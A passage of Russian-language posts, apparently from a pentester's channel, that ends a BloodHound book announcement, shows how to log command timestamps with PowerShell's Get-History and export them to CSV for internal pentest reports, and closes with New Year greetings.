- а четвертая, демонстрирует как можно расширить функционал BloodHound путем добавления новых узлов и связей, и их свойств, а также изменения интерфейса.

Книга будет полезна не только пентестерам, но и администраторам и специалистам SOC и службы информационной безопасности.

Большое спасибо компании Бастион, благодаря которой книга выходит в свет.
Дата и время выполнения команд в Powershell

Последнее время стал замечать, что заказчики на внутренних пентестах просят предоставлять дату и время выполнения действий. Давно я уже писал как можно добавить в консоль отображение даты и времени, а также использование Powershell Transcript. Сейчас хочу поделиться еще полезной функцией Powershell.

В Powershell есть функция чтения истории выполнения команд Get-History. Если выполнить эту команду, то будет предоставлен перечень выполненных команд, однако если изменить формат отображения в виде списка, то кроме команды можно получить статус, время начала выполнения команды и ее завершения.

Get-History|fl


Данные можно экспортировать в формат CSV и затем импортировать в Excel.

Get-History|Export-Csv -Path history.csv


При использовании этого метода стоит знать, что при закрытии консоли данные о дате и времени пропадают, поэтому, если необходимо собирать такую информации, делать это лучше в конце рабочего дня. И второе, каждая открытая консоль собирает дату и время только для нее. Хотя история самих команд для всех собирается в отдельном файле и прочитать его можно следующим образом, но уже без времени:

Get-Content (Get-PSReadlineOption).HistorySavePath


Так как данные возвращаются в виде PSObject, можно выполнять различные операции для фильтрации вывода. Например, можно ограничить вывод только за определенный период:

Get-History |where {$_.StartExecutionTime -ge $(get-date("12.05.2024 10:00:00")) -and $_.StartExecutionTime -le $(get-date("12.06.2024 18:00:00"))}|fl


Важно помнить, что формат времени в русской и в английской версиях Windows разный. В русской идут день-месяц-год, а в английской месяц-день-год. Поэтому будьте внимательны!

#Powershell #Внутрянка
Друзья, наступающим Новым годом! 🎄
Пусть новый год принесёт вам новые возможности и знакомства. Желаю вам лёгкости в решении всех задач и реализации интересных идей. Пусть каждый день нового года будет приносить больше радости предыдущего!
Тем, кто работает, желаю не выгореть на работе. Тем, кто учится – успехов в обучении. Тем, кто ищет себя в профессии - наконец найти себя!
До встречи в Новом Году! 🍾🥂🥳